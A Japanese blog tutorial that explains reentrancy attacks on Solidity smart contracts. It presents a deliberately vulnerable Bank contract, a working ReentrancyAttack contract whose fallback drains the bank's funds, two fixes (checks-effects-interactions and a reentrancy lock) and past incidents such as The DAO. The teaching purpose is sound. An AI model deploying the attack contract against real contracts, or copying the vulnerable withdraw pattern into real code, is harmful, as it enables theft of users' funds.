こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。
このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。
https://mirror.xyz/0xcE77b9fCd390847627c84359fC1Bc02fC78f0e58
今回は「Reentrancy Attack」について取り上げていきます。
スマートコントラクトでの攻撃で一番有名な攻撃方法です。
スマートコントラクト開発をするエンジニアは、「Reentrancy Attack」をされないようにコードを書く必要があります。
この記事で「Reentrancy Attack」について学び、安全性が高いスマートコントラク開発に繋げていきましょう。
また、リエントランシー攻撃はバグ・バウンティに参加する上で必須の知識となるので、バグ・バウンティに参加したい人はぜひこの記事で学んでいってください。
バグ・バウンティが何かわからない人は以下の記事を読んでください。
リエントランシー攻撃
まずはリエントランシー攻撃が何かから確認していきましょう。
コントラクトからコントラクトの呼び出し
リエントランシー攻撃から見ていく前に、前提として「コントラクは別のコントラクト」を呼び出すことができると言うことを確認しましょう。
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.13;
contract ContractA {
bool public check = false;
address public user;
/// @notice checkの値をtrueにし、userの値をcheckOk()を呼び出したアドレスに設定。
function checkOk() public {
check = true;
user = msg.sender;
}
}
contract ContractB {
ContractA public contractA;
// ContractAをデプロイしたアドレスを指定。
constructor(address _contractAAddress) {
contractA = ContractA(_contractAAddress);
}
/// @notice ContractA内のcheckOk()を呼び出し。
function callCheckOk() external {
contractA.checkOk();
}
}
上記のコードではContractAとContractBの2つのコントラクトを作成しています。
ContractA
checkOk
関数を呼び出すことで、check
の値をtrue
にし、user
に呼び出したコントラクトかアカウントのアドレスにする。
ContractB
デプロイしたContractAのアドレスを渡してデプロイし、callCheckOk
関数を実行しContractAのcheckOk
関数を呼び出す。
では早速実行してみましょう。
ContractBからContractAを呼び出すことを確認できました。
ぜひ手元でも実行してみてください。
リエントランシー攻撃とは?
コントラクは別のコントラクトを呼び出すことができることを確認できたところで、本題のリエントランシー攻撃が何かを確認していきましょう。
「リエントランシー」とは「再入可能(Re Entry)」と言う意味です。
つまり「リエントランシー攻撃」とは、別コントラクトの関数実行時に再帰的に関数を呼び出す攻撃です。
もう少し具体的に説明すると、コントラクトBがコントラクトAを呼び出して関数を実行する際、関数の実行が完了する前に再度コントラクトAの関数を実行すると言うことです。
「それの何が危険なの?」と思う方がいると思います。
手順
- 変数priceを参照して資金を送金する。
- 送金が完了したのち、変数priceの値を0にする。
上記のような処理をする関数があるとします。
この時1の処理が終わったのち、2の処理がされる前に再度関数を実行するとどうでしょうか?
変数price
の値が更新されないため、無限に資金が抜かれてしまいます。
いかがでしょうか?
リエントランシー攻撃の危険性を理解できたでしょうか?
では次の章から実際にリエントランシー攻撃を実装しながら確認していきましょう。
リエントランシー攻撃
では実際にリエントランシー攻撃を実装して動作を確認していきましょう。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Bank {
// 預けた資金を記録する。
mapping(address => uint) public balances;
/// @notice 一定額資金を預ける関数。
function deposit() public payable {
balances[msg.sender] += msg.value;
}
/// @notice 預けている資金を引き出し、balancesの値を0にする。
function withdraw() public {
uint balance = balances[msg.sender];
// 預けた資金があるか確認。
require(balance > 0, "There are no funds available to withdraw.");
(bool sent, ) = msg.sender.call{value: balance}("");
// 資金を遅れた確認。
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
/// @notice 特定アドレスの預けた資金を確認する関数。
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract ReentrancyAttack {
Bank public bank;
constructor(address _bankAddress) {
bank = Bank(_bankAddress);
}
/// @notice 資金を受け取ったり、実行した関数が存在しないときに呼ばれる。
/// 預けた資金が存在すれば引き出す処理をする。
fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
}
/// @notice 1 etherを預けて、その後預けた資金を引き出す関数。
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw();
}
/// @notice 特定アドレスの預けた資金を確認する関数。
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Bank
deposit
関数を呼び出すことで、指定した金額預けることができます。
預けた金額はbalances
にユーザーアドレスをキーにして記録されます。
widthdraw
関数を呼び出すことで、預けた資金を引き出すことができます。
getBakance
関数は、現在コントラクトが保持している資金の合計を確認できます。
ReentrancyAttack
Bank
コントラクトをデプロイしたアドレスを渡してデプロイします。
attack
関数では、Bank
コントラクトのdeposit
関数を呼び出したのち、widthdraw
関数を実行して預けた資金を引き出しています。
getBakance
関数は、Bank
コントラクトと同じで現在コントラクトが保持している資金の合計を確認できます。
一見何も問題ないように見えますが実行して確認してみましょう。
2人のユーザーが預けた合計5ether
が全て攻撃者のコントラクに送られてしまいました。
なぜでしょうか?
ここでポイントとなるのが、fallback
関数です。
fallback
関数は資金を受け取ったり、実行しない関数が存在しないときに呼ばれる無名関数です。
widthdraw
関数は資金を引き出す処理を実行しているため、資金を引き出した後に呼ばれ、再度widthdraw
関数を実行しているのが確認できます。
つまり全体の流れとしては以下のようになります。
処理の流れ
- ReentrancyAttackコントラクトからBankコントラクトのdeposit関数を実行し1 etherを預ける。
- 資金を預けたのちBankコントラクトのwidthdraw関数を実行して預けた1 etherを引き出す。
- Bankコントラクトから資金を受け取ったので、balancesの値が更新される前にReentrancyAttackコントラクトのfallback関数が呼ばれる。
- fallback関数の中のwidthdraw関数が実行され、再度1 etherを引き出す。
- 3と4をBankコントラクトが保持している資金が1 ether以下になるまで繰り返す。
このようにしてBankコントラクトの資金が全て抜かれてしまったのです。
ぜひ手元で実行してみてください。
リエントランシー攻撃の原因と対処法
原因
今回リエントランシー攻撃が実行されてしまった原因は「資金を引き出す前にbalances内の値を更新していなかった」ことです。
対処法
対処法1
widthdraw
関数はbalances
に記録されているデータを参照して資金を引き出しているため、引き出す前にbalances
に記録されているデータを0に更新してまえば、再度widthdraw
関数を実行されても資金を引き出されることはありません。
function withdraw() public {
uint balance = balances[msg.sender];
// 預けた資金があるか確認。
require(balance > 0, "There are no funds available to withdraw.");
// 資金を引き出す前にbalancesのデータを更新。
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: balance}("");
// 資金を遅れた確認。
require(sent, "Failed to send Ether");
}
上記のようにすることで1度資金を引き出した後は、再度資金を預けるまで資金を引き出すことができなくなります。
これはCEIパターンと呼ばれています。
CEIパターンとは「Check」、「Effects」、「Interactions」をまとめたものです。
Checkは条件の真偽を確認し、Effectsでは変更を行なっているか確認し、Interactionsで関数の目的を実行する(widthdraw
関数で言えば資金を送る)。
まとめるとCEIパターンは、「関数の目的を実行する前に、実行に関連するチェックと更新を行うべきである」ということを意味します。
このCEIパターンを意識することは重要なので頭に入れておきましょう。
対処法2
他の処理が実行されているかチェックするのも有効な対処法です。
以下のようなmodifier
と変数を定義します。
// 他の処理が実行されているかチェックするbool値。
bool internal locked;
// lockedがtrueの時は処理を行わない。
// lockedがfalseの時はtrueにして、一連の処理が終わったのちfalseに変更。
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
locked
変数は他のwithdraw
関数が実行されているかチェックするbool値で、true
の時は他の処理が走っていることになります。
noReentrant
修飾子では、他のwithdraw
関数が実行されている時(locked == true
)、他のwithdraw
関数の実行が失敗する。
他のwithdraw
関数が実行されていない時(locked == false
)は、locked
をtrue
にしてwithdraw
関数の処理が完了するまで他のwithdraw
関数が実行されないようにします。
「_;
」の部分で呼び出し元の関数の処理を実行しています。
一連の処理が終わったのちlocked
をfalse
にします。
このようにすることで、balances
の値が更新されるまで別のwithdraw
関数の実行ができなくなります。
function withdraw() public noReentrant {
uint balance = balances[msg.sender];
// 預けた資金があるか確認。
require(balance > 0, "There are no funds available to withdraw.");
(bool sent, ) = msg.sender.call{value: balance}("");
// 資金を遅れた確認。
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
リエントランシー攻撃によるハッキング事例
UniswapとLendf.me
uniswapとLendf.meから2500万ドル以上の暗号通貨が盗まれました。
Beosin-Eagle Eye
BSCチェーン上のDeFiプロトコルXSURGEが攻撃され400万ドルの被害にあった。
https://beosin.medium.com/a-sweet-blow-fb0a5e08657d
The Dao
52億円もの通貨が盗まれる。
EthereumがハードフォークしてEthereum Classic
と分岐。
https://blog.chain.link/reentrancy-attacks-and-the-dao-hack/
最後に
今回は「Reentrancy Attack」について解説してきました。
いかがだったでしょうか?
「Reentrancy Attack」がどういったものなのか、具体的にどんな攻撃がされるのか、対処するにはどうしたら良いのかが理解できていたら嬉しいです。
最初は理解が難しいかもしれないので、ぜひ自分で実行したりググったりして理解を深めてください。
もし何か質問などがあれば以下のTwitterなどから連絡ください!
普段はSolidityやブロックチェーン、Web3についての情報発信をしています。
Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!
参考
https://solidity-by-example.org/hacks/re-entrancy/
https://qiita.com/Ogtsn99/items/559ffaed745af971856f
https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html
https://medium.com/@shub.sharma350/secure-transfer-in-smart-contracts-reentrancy-attack-9aa835d6aba9